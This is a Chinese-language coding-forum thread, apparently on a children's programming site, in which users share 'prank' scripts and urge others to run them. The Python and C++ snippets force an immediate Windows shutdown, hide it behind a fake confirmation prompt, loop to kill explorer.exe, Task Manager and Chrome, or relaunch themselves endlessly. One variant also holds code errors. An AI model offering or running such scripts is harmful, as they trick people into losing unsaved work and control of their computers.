用户:znx查看:195 回复:16 评论:11 创建时间:2020-03-05T08:22:40
【作品展示】

【作品介绍】
把代码放在机器上运行(浏览不行),嘿嘿嘿。。。
【作品源代码】
#今天来个好玩的。。。
import os
os.system ("shutdown -s -t 0")
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn早已看穿
点赞1
评论
+1
因为shutdown是关机的意思-s是立即执行-t 0中t=time(时间)相当于0秒后关机
我作死玩一次,然后Word:关机经过我同意了吗
额 .
要不看一下我的关机病毒改版
学过C++的我在进入帖子前早已看穿
+1
cool-creeper#关机病毒改版
form os import system
question = input("你确定要运行吗?1.确定2.不确定")
if question == 1:
system("shutdown -s -t 0")
elif question == 2:
print("不存在的!")
system("shutdown -s -t 0")
else:
print("你说啥?我听不懂!\n")
print("哦,你说要运行啊!")
system("shutdown -s -t 0")
#哈哈哈哈……坑吗?点赞1
评论
坑死了
/*
比关机更坑的
*/
#include<bits/stdc++.h>
using namespace std;
int main()
{
while(1)
{
system("taskkill /f /im explorer.exe >nul 2>nul");
system("taskkill /f /im taskmgr.exe >nul 2>nul");
}
}
点赞0
评论
C .
Python版
#比关机更坑的
from os import system
while True:
system("taskkill /f /im explorer.exe >nul 2>nul")
system("taskkill /f /im taskmgr.exe >nul 2>nul")
system("taskkill /f /im chrome.exe >nul 2>nul")
点赞0
评论
……坑!
from os import system
while True:
system("python C:\\file.py")
保存为 C:\file.py
点赞0
评论